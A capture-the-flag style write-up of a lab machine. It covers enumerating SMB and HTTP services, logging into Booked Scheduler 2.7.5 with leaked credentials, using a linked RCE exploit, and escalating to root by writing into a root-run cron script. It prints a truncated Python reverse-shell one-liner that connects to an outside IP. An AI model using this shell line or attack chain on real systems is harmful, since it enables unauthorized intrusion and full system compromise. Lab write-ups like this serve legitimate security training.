

Enumeration

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- 1: Use autorecon to enumerate its services, **21, 22, 139, 445, 3306, 8003** are open
- 2: FTP does not allow anonymous login, and weak credential does not work.
- 3: SMB supports **null session**, the root folder is one **user's home folder**. To my surprise, **local flag** can be downloaded directly
- 4: I think **bash_history** could contain valuable info, however, it cannot be downloaded
- 5: According to **auth.log**, the user is **peter**. I try to brute force his password
- 6: According to **misc.log**, it reveals a potential web service admin credential
- 7: Check Port **8003**, it is **HTTP** service. The system is **Booker Scheduler 2.7.5**. And the index page is a login portal, use gained credential **admin:adminadmin** to sign in, and it succeeds.

Foothold

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- 1: Booked Scheduler has a **RCE** exploit, which can be found here:
<https://github.com/F-Masood/Booked-Scheduler-2.7.5---RCE-Without-MSF>
- 2: Follow steps carefully, set up a netcat listener, and access
<http://192.168.61.64:8003/booked/Web/custom-favicon.php>
- 3: Get a shell

Privilege Escalation

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- 1: Check the server's **/etc/crontab**, and I find a user-defined **cronjob** ran by **root**:
python /var/www/html/booked/cleanup.py
- 2: I am sure this file is **writable**, therefore execute the command: **echo 'import
pty;import
socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1
92.168.49.61",21));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2**
- 3: Set up another netcat listener
- 4: Get the root shell after some minutes

Review

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- 1: Target **SMB** and **HTTP** service
- 2: Get sensitive info from **SMB** service
- 3: Use **gained info** to sign in **Booker Scheduler**
- 4: Exploit a **RCE** vulnerability
- 5: Abuse **crontab** to root